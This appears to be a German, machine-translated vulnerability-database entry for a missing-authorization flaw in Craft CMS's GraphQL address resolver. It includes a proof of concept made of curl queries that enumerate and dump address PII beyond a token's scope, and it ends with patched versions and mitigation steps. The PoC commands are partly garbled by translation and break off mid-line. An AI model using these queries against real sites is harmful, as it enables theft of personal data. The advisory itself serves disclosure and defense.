Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure
Beschreibung
### Zusammenfassung Der GraphQL Address Element Resolver (src/gql/resolvers/elements/Address.php) führt keine Schema-Summe-Filterung bei Top-Level-Abfragen durch. Ein GraphQL-API-Token, das auf eine einzelne Benutzergruppe mit geringem Privileg ausgerichtet ist, kann jede Adresse im System lesen, einschließlich Adressen von Benutzern in Gruppen, auf die das Token keine Zugriffsberechtigung hat. Dies zeigt PII, einschließlich vollständiger Namen, Adressen, Organisationen, Steuer-IDs, etc. ### Details Jeder GraphQL-Element-Resolver in Craft CMS wendet die Schema-Summe-Filterung über `GqlHelper::extractAllowedEntitiesFromSchema()` an, wenn er Anfragen auf oberster Ebene bearbeitet, mit Ausnahme des Adress-Resolvers. Die einzige Gate-Prüfung für Adressen ist `canQueryUsers()` (`src/gql/queries/Address.php`, Zeile 30), was eine binäre Prüfung ist. Es gibt `true` zurück, wenn das Token Zugriff auf * irgendeine* Benutzergruppe hat. Einmal an diesem Gate vorbei, wird keine weitere Filterung mehr angewendet. ### PoC ** Getestet am:** CraftCMS 5.9.17 (frische Docker-Installation, PHP 8.3) **Voraussetzungen:** Ein GraphQL API-Token mit Lesezugriff auf jede einzelne Benutzergruppe ### Umgebung - Zwei Benutzergruppen: "publicUsers" (im Token-Bereich) und "internalTeam" (NICHT im Umfang) - 5 interne Führungskräfte mit Firmenadressen (internalTeam) - 3 öffentliche Kunden mit persönlichen Adressen (publicUsers) - GQL-Token nur für "publicUsers:read" **Schritt 1:** Introspect das Schema, um die "Adressen" -Abfrage zu entdecken, ist für dieses Token verfügbar. Geben Sie den folgenden Curl-Befehl ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ type(name: \"Query\") { fields {name description } } }"} http://localhost:8080/actions/graphql/api | jq ``` The token can see `addresses`, `entries`, `users` as top-level queries. **Schritt 2:** Adressfelder aufzählen, um die PII-Belichtungsfläche zu identifizieren. ``bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d "{"query": "{ type(name: \"AddressInterface\") { fields { name type { name } } } }"} http://localhost:8080/actions/graphql/api | jq ``` > Zu den exponierten Feldern gehören: `fullName`, `firstName`, `lastName`, `addressLine1/2/3`, `locality`, `postalCode`, `countryCode`, `organisation`, `organisationTax Id`, `Breitengrad`, `Längengrad`. **Schritt 3:** Richten Sie die Baseline fest - bestätigen Sie, dass der Benutzerumfang des Tokens begrenzt ist. Dies beweist, dass unser Token nur Zugriff auf die Gruppe "publicUsers" hat. ``bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ address {id full)" Vorname Name lastName addressLine1 addressLine2 locality postalCode countryCode organisation organisationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` Only 5 public users returned. Scope enforcement funktioniert korrekt für den User Resolver – interne Führungskräfte sind NICHT sichtbar. **Schritt 4:** Abfrage aller Adressen - das Token gibt Daten für ALLE Benutzergruppen zurück, einschließlich derjenigen außerhalb seines autorisierten Umfangs. ``bash curl -s -H Autorisierung: Bearer wbzwuzvlfohtahry ..
Quellen & weiterführende Informationen
Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.
Was ist zur Behebung zu tun?
Auf eine behobene Version aktualisieren: 5.9.18, 4.17.12.
Empfohlene Schritte
- Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
- Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
- Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
- Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.
Übergangsmaßnahmen
- Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
- WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
- Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
- Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.